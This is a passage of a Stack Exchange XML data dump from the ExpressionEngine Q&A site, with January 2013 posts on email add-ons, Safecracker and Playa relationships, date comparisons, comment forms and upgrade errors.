3.0" />
  <row Id="5004" PostTypeId="2" ParentId="4997" CreationDate="2013-01-17T20:56:12.040" Score="2" Body="&lt;p&gt;You could use something like &lt;a href=&quot;https://objectivehtml.com/articles/read/postmaster-v1.2&quot; rel=&quot;nofollow&quot;&gt;POSTMASTER&lt;/a&gt; to create a trigger that would fire with any kind of change to the status or category of any channel. Using it even allows nice html emails if it strikes your fancy to keep things branded.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="101" LastEditDate="2013-01-17T22:13:40.807" LastActivityDate="2013-01-17T22:13:40.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5005" PostTypeId="2" ParentId="5003" CreationDate="2013-01-17T20:59:01.263" Score="2" Body="&lt;p&gt;Just a guess, but there is a matrix.js file in the Wygwam folder that handles the drag events. I suppose its possible there is not an event for move to top/bottom, or no methods are bound to those events? &lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2013-01-17T20:59:01.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5006" PostTypeId="2" ParentId="4990" CreationDate="2013-01-17T21:10:18.843" Score="2" Body="&lt;p&gt;There has been known issues with the ExpressionEngine &quot;Remember Me&quot; functionality since August of 2011. It currently is not fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the bug report:&lt;br&gt;&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/16355&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/16355&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-17T21:10:18.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5007" PostTypeId="1" AcceptedAnswerId="5031" CreationDate="2013-01-17T21:23:48.957" Score="2" ViewCount="142" Body="&lt;p&gt;I'm using Safecracker to edit entries for the Channel Books. Suppose I have another Channel Publications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a Playa field to create relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that you can only use Playa to create relationships between existing entries. Is there a way to create a Publication entry and at the same create a relationship to the Book entry we are editing / creating?&lt;/p&gt;&#xA;" OwnerUserId="830" LastActivityDate="2013-01-18T03:39:14.977" Title="Using Safecracker with Playa" Tags="|channel-entries|safecracker|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5008" PostTypeId="1" CreationDate="2013-01-17T21:39:21.800" Score="1" ViewCount="604" Body="&lt;p&gt;I have a field with formatting set to Auto br /. If I add a line of content, hit Enter, and add another line it appears it would work. But on the front end the break isn't there. If I edit that entry again it still appears as two lines in the field. But It appears on one line on the front end. Any ideas? possible bug? Thanks for any info!  &lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-01-17T22:12:03.280" Title="TextArea field set to Auto br / isn't adding break point tag" Tags="|fields|formatting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5009" PostTypeId="2" ParentId="5002" CreationDate="2013-01-17T22:04:49.643" Score="3" Body="&lt;p&gt;You can do this with jQuery. The channels will all need to use the same field group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you add the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#channel&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;channel parameter&lt;/strong&gt;&lt;/a&gt; &lt;code&gt;channel=&quot;&quot;&lt;/code&gt; to your &lt;code&gt;exp:safecracker&lt;/code&gt; tag, the tag renders that in the template as a hidden field with that channel's id number as the value. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;input type=&quot;hidden&quot; name=&quot;channel_id&quot; value=&quot;7&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can change this value as needed with JS. I created a &lt;a href=&quot;http://jsfiddle.net/EPjyW/4/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;jsFiddle with working code&lt;/strong&gt;&lt;/a&gt; that will get you started.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-17T22:04:49.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5010" PostTypeId="2" ParentId="5008" CreationDate="2013-01-17T22:12:03.280" Score="1" Body="&lt;p&gt;Look at your template. It's possible a plugin tag is wrapped around your field tag and removing all html tags from the copy or specifically removing &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; tags&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-17T22:12:03.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5011" PostTypeId="2" ParentId="4997" CreationDate="2013-01-17T22:13:22.307" Score="3" Body="&lt;p&gt;My add-on Postmaster is already available and by far the most comprehensive email solution for ExpressionEngine. It has a series of robust API's developers can extend to do really custom stuff. But it also includes UI's and plethora of options to send emails at just about any time without writing any code. v1.3 is in beta and brings a whole new Notifications API in the mix for cron notifications, among other things. I have over a year of development in this add-on and it's only going to continue to improve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster even supports a huge variety of services like Mandrill, MailChimp, CampaignMonitor, SendGrid, MailGun, and more. I am adding new services all the time as people need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/articles/read/postmaster-v1.2&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/articles/read/postmaster-v1.2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2013-01-17T23:00:59.360" LastActivityDate="2013-01-17T23:00:59.360" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5012" PostTypeId="1" AcceptedAnswerId="5143" CreationDate="2013-01-17T22:16:11.790" Score="1" ViewCount="126" Body="&lt;p&gt;I have a channel field named start of campaign and one named end of campaign.  I want to make do a conditional that says if today is equal to or later than the start of campaign AND today is before the end of the campaign then do something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I've noticed is if you use %U for formatting it includes the time the entry was created which means the date range is more like 1/1/13 1:13PM -&gt; 1/5/13 1:13PM when what I really want is 1/1/13 12:00AM -&gt; 1/5/13 11:59PM&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{start_of_campaign format=&quot;%U&quot;}' &amp;lt;= '{current_time format=&quot;%U&quot;}' AND '{end_of_campaign format=&quot;%U&quot;}' &amp;gt; '{current_time format=&quot;%U&quot;}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is what I am currently using but that cant be accurate right?  &lt;/p&gt;&#xA;" OwnerUserId="701" LastActivityDate="2013-01-21T09:28:30.480" Title="Channel Field Date: Ignore timestamp during comparisons" Tags="|custom-fields|date|date-format|comparison|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5013" PostTypeId="2" ParentId="4836" CreationDate="2013-01-17T22:16:57.727" Score="0" Body="&lt;p&gt;To follow up, Brad from P&amp;amp;T was able to send me a build that updated successfully. Thanks to him and P&amp;amp;T for doing this so quickly!&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2013-01-17T22:16:57.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5014" PostTypeId="2" ParentId="5012" CreationDate="2013-01-17T22:29:07.640" Score="0" Body="&lt;p&gt;Instead of using %U - you can build out the format you want yourself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;format=&quot;%n/%j/%y&quot;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-17T22:29:07.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5015" PostTypeId="1" AcceptedAnswerId="5024" CreationDate="2013-01-17T22:36:32.880" Score="3" ViewCount="286" Body="&lt;p&gt;Upgraded this EE1 site to EE2 (not without issues but managed to get most of them fixed followed this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1/upgrading-an-ee1-site-to-ee2-with-ngen-file-field&quot;&gt;Upgrading an EE1 site to EE2 with nGen File field&lt;/a&gt; as a guide but forgot 1 field). &#xA;I'm stuck with 1 issue regarding 1 ngen file field that I forgot to convert to a text field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This ngen file field sits inside a matrix field in just 1 entry in 1 channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm simply trying to delete this channel and its channel field group and recreate it without the ngen file field but I keep getting an error when I try to &lt;strong&gt;access&lt;/strong&gt; the field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    An Error Was Encountered &#xA;Unable to load requested field type file: ft.ngen_file_field.php. &#xA;Confirm the fieldtype file is located in the expressionengine/third_party/ directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to &lt;strong&gt;delete&lt;/strong&gt; the field the error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred Error Number: 1091&#xA;&#xA;Can't DROP 'col_id_15'; check that column/key exists&#xA;&#xA;ALTER TABLE exp_matrix_data DROP col_id_15&#xA;&#xA;Filename: third_party/matrix/ft.matrix.php&#xA;&#xA;Line Number: 1544&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to tackle this?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-01-18T00:10:17.233" Title="EE1 to EE2 update - cannot delete a nGen file field" Tags="|matrix|update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5016" PostTypeId="1" AcceptedAnswerId="5021" CreationDate="2013-01-17T22:47:21.270" Score="0" ViewCount="125" Body="&lt;p&gt;Here's the output on the first try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: 4:Adult Discipleship&#xA;Filename: assets/upd.assets.php&#xA;Line Number: 712&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: 4:Adult Discipleship&#xA;Filename: assets/upd.assets.php&#xA;&#xA;Line Number: 712&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: 1:rotating&#xA;Filename: assets/upd.assets.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...ad infinitum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I refresh the page I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1146&#xA;Table 'ee_local.exp_assets' doesn't exist&#xA;ALTER TABLE exp_assets MODIFY COLUMN file_path VARCHAR(255) NOT NULL&#xA;Filename: /Users/chris/Sites/third_party/assets/upd.assets.php&#xA;Line Number: 390&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="440" LastActivityDate="2013-01-17T23:20:27.020" Title="Assets 1.2.2 to 2.0.1 upgrade fails" Tags="|assets|" AnswerCount="1" CommentCount="2" ClosedDate="2013-01-19T23:06:42.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="5018" PostTypeId="2" ParentId="1034" CreationDate="2013-01-17T22:59:25.887" Score="2" Body="&lt;p&gt;It's a little misleading but, there is a 'Delete Selected' option in the drop-down menu on the Activate Pending page.&lt;/p&gt;&#xA;" OwnerUserId="820" LastActivityDate="2013-01-17T22:59:25.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5019" PostTypeId="2" ParentId="4984" CreationDate="2013-01-17T23:13:14.030" Score="0" Body="&lt;p&gt;Just wanted to provide some additional information on another way to solve this problem (for those who aren't familiar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster v1.2 provides CartThrob integration support out of the box, and the next version (1.3) will bring things like Abandoned Cart Notifications for which CartThrob now charges $500.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster is definitely a premium solution and at face value can seem like more than one might need. But the template tags and options for CT are much more complete than what they even provide. I designed Postmaster to make scenarios just like this a breeze to fix. It takes just a few minutes to advanced templating with CT setup with any email service you desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/articles/read/postmaster-v1.2&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/articles/read/postmaster-v1.2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-17T23:13:14.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5020" PostTypeId="1" CreationDate="2013-01-17T23:18:45.723" Score="2" ViewCount="2787" Body="&lt;p&gt;I am working on my blog/tutorial site and I have it set up so the main page displays my content and the user can click on an individual entry and go to a page that displays just that entry through my &quot;video_tutorial&quot; template. I have the comment module installed and have been adding in some comment tags and such, however nothing is showing up. So I am not sure if I am using the wrong tags or what, so I thought I would start over and get some feedback first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if this is something I just need to enable somewhere in expression engine or if I need to use another language. I just need the user to be able to enter a name and a comment. I have seen some examples of adding facebook logins, I don't need to go that direction, if Expression Engine has a commenting system built in that would work for me assuming I can still style it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/index.html#id11&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/comment/index.html#id11&lt;/a&gt; &#xA;I have used this as a basis and I used the code it has in the &quot;comment submission form&quot; area thinking that would assist me but to no success. I swapped out the channel with what I needed too. Any help is greatly appreciated. Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code for my &quot;video_tutorial&quot; template which is set up to show a single entry and I want the comment section to go underneath there for users to discuss the content of the video or learn among themselves as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Revised Code in my video_tutorial/comment template group/template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;video_tutorial&quot; url_title=&quot;video_tutorial/comment&quot; preview=&quot;channel/preview&quot;}&#xA;&#xA;    {if logged_out}&#xA;            &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;label for=&quot;location&quot;&amp;gt;Location:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;location&quot; value=&quot;{location}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;label for=&quot;url&quot;&amp;gt;URL:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;url&quot; value=&quot;{url}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;label for=&quot;comment&quot;&amp;gt;Comment:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;10&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;save_info&quot; value=&quot;yes&quot; {save_info} /&amp;gt; Remember my personal information&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;notify_me&quot; value=&quot;yes&quot; {notify_me} /&amp;gt; Notify me of follow-up comments?&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;    {if captcha}&#xA;            &amp;lt;label for=&quot;captcha&quot;&amp;gt;Please enter the word you see in the image below:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;p&amp;gt;{captcha}&amp;lt;br /&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;{captcha_word}&quot; maxlength=&quot;20&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;preview&quot; value=&quot;Preview&quot; /&amp;gt;&#xA;&#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my code for my video_tutorial template group.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!DOCTYPE html&amp;gt;&#xA;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt; &#xA;&amp;lt;title&amp;gt;Reanimated Fallout | Animation &amp;amp; Motion Graphics Tutorials, Training &amp;amp; More&amp;lt;/title&amp;gt;&#xA;&#xA;&amp;lt;!-- stylesheet --&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;{stylesheet=fallout_stylesheet/fallout_css}&quot; /&amp;gt; &#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&#xA;&amp;lt;header&amp;gt;&#xA;        &amp;lt;div id=&quot;buttonbar&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;wrapper&quot;&amp;gt;   &#xA;        &amp;lt;div id=&quot;navigation&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;logo&quot;&amp;gt;&#xA;            &amp;lt;a href= &quot;http://reanimatedfallout.com/index.php?/reanimatedfallout&quot;&amp;gt;&amp;lt;img src=&quot;images/reanimated_fallout_logo.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- navigation buttons --&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;wrapper&quot;&amp;gt;           &#xA;            &amp;lt;ul id=&quot;buttons&quot;&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href= &quot;http://reanimatedfallout.com/index.php?/after_effects&quot;&amp;gt;&amp;lt;img src=&quot;images/navigation/after_effects_btn.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt; &#xA;                &amp;lt;a href= &quot;http://reanimatedfallout.com/index.php?/cinema_4d&quot;&amp;gt;&amp;lt;img src=&quot;images/navigation/cinema_4d_btn.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt; &#xA;                &amp;lt;a href= &quot;http://reanimatedfallout.com/index.php?/photoshop&quot;&amp;gt;&amp;lt;img src=&quot;images/navigation/photoshop_btn.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt; &#xA;                &amp;lt;a href= &quot;http://reanimatedfallout.com/index.php?/premiere&quot;&amp;gt;&amp;lt;img src=&quot;images/navigation/premiere_btn.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt; &#xA;                &amp;lt;a href= &quot;http://reanimatedfallout.com/index.php?/reviews&quot;&amp;gt;&amp;lt;img src=&quot;images/navigation/reviews_btn.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt; &#xA;                &amp;lt;a href= &quot;http://reanimatedfallout.com/index.php?/apple&quot;&amp;gt;&amp;lt;img src=&quot;images/navigation/apple_btn.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt; &#xA;                &amp;lt;a href= &quot;http://reanimatedfallout.com/index.php?/about&quot;&amp;gt;&amp;lt;img src=&quot;images/navigation/about_btn.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/header&amp;gt;&#xA;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;video_tutorials&quot; limit=&quot;1&quot; sort=&quot;entry_date&quot; order=&quot;desc&quot;}&#xA;&#xA;{if count==1}&#xA;    &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;video_large&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;video_tutorial}&quot;&amp;gt;{video_tutorial_title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;div class=&quot;large_reposition&quot;&amp;gt;&#xA;        &amp;lt;iframe src=&quot;http://player.vimeo.com/video/{video_tutorial_link}?title=0&amp;amp;amp;byline=0&amp;amp;amp;portrait=0&quot; width=&quot;900&quot; height=&quot;506&quot; frameborder=&quot;0&quot; webkitAllowFullScreen mozallowfullscreen allowFullScreen&amp;gt;&amp;lt;/iframe&amp;gt; &#xA;        &amp;lt;h3&amp;gt;{video_tutorial_summary}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if} &#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;&amp;lt;!-- comments --&amp;gt;&#xA;&#xA;{exp:comment:entries url_title=&quot;video_tutorial/comment&quot; sort=&quot;asc&quot; limit=&quot;100&quot;}&#xA;        {comment}&#xA;        &amp;lt;p&amp;gt;By {name} on {comment_date format=&quot;%Y %m %d&quot;}&amp;lt;/p&amp;gt;&#xA;{/exp:comment:entries}&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;!-- search field --&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;search&quot;&amp;gt;&#xA;        {exp:search:simple_form form_class=&quot;searchbox&quot; channel=&quot;video_tutorials&quot;}&#xA;            &amp;lt;p&amp;gt;&#xA;                 &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; placeholder=&quot;Search&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;24&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;             &amp;lt;/p&amp;gt;&#xA;        {/exp:search:simple_form}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;contact&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt; &amp;lt;label for=&quot;keywords&quot;&amp;gt;Connect &amp;amp; Contact&amp;lt;/label&amp;gt; &amp;lt;/p&amp;gt;&#xA;        &amp;lt;ul id=&quot;contact_btns&quot;&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href= &quot;https://www.facebook.com/pages/Reanimated-Fallout/242045199141877&quot;&amp;gt;&amp;lt;img src=&quot;images/social_icons/facebook.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href= &quot;https://twitter.com/chrisreanimated&quot;&amp;gt;&amp;lt;img src=&quot;images/social_icons/twitter.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href= &quot;https://vimeo.com/user10748580&quot;&amp;gt;&amp;lt;img src=&quot;images/social_icons/vimeo.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href= &quot;http://www.linkedin.com/profile/view?id=46629295&amp;amp;trk=tab_pro&quot;&amp;gt;&amp;lt;img src=&quot;images/social_icons/linkedin.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;mailto:chris@reanimatedfallout.com&quot;&quot;&amp;gt;&amp;lt;img src=&quot;images/social_icons/email.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;donate&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt; &amp;lt;label for=&quot;keywords&quot;&amp;gt;Support&amp;lt;/label&amp;gt; &amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;ul id=&quot;donate_btn&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href= &quot;https://twitter.com/chrisreanimated&quot;&amp;gt;&amp;lt;img src=&quot;images/donate_btn.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;cosmicrage&quot;&amp;gt;&#xA;            &amp;lt;a href= &quot;http://cosmicragemotioncomic.wordpress.com&quot;&amp;gt;&amp;lt;img src=&quot;images/cosmic_rage_web_banner_240_2.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;    &amp;lt;footer&amp;gt;&#xA;        &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;footer&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;footerinfo&quot;&amp;gt; &amp;amp;copy; All content designed and developed by Reanimated Fallout.  &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/footer&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="626" LastEditorUserId="268" LastEditDate="2013-01-22T02:19:27.607" LastActivityDate="2013-03-25T12:04:54.387" Title="Setting up a comments section in expression engine" Tags="|ee2|forms|module|comment-form|comments|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5021" PostTypeId="2" ParentId="5016" CreationDate="2013-01-17T23:20:27.020" Score="3" Body="&lt;p&gt;The undefined index errors should be fixed in an upcoming 2.0.2 release.  I think that'll remove the error that follows what you're seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-17T23:20:27.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5022" PostTypeId="2" ParentId="5020" CreationDate="2013-01-17T23:33:21.613" Score="2" Body="&lt;p&gt;In the control panel check out Admin-&gt;channel preferences -&gt; channel -&gt; your channel, edit preferences, and them have a look at the &quot;Comment Posting Preferences&quot; section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also want to make sure comments are turned on in the individual entries. The default for new entries is set earlier in the same control panel page. &lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2013-01-18T00:09:42.087" LastActivityDate="2013-01-18T00:09:42.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5023" PostTypeId="2" ParentId="5015" CreationDate="2013-01-17T23:49:00.707" Score="2" Body="&lt;p&gt;I had exactly the same issue you had except I hadn't converted any of my fields first, I just totally spaced them. It is a little hard to be sure what you have and haven't tried, especially browsing from my phone, but I believe the &lt;a href=&quot;http://ellislab.com/forums/viewreply/784231/&quot; rel=&quot;nofollow&quot;&gt;SQL query here&lt;/a&gt; did the trick for me. Pasting it here for your convenience:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data&#xA;SET field_id_XX = CONCAT('{filedir_YY}', field_id_XX)&#xA;WHERE field_id_XX != ''&#xA;AND field_id_XX NOT LIKE '{filedir_%' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make sure you backup your database before you do anything like this!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-01-17T23:49:00.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
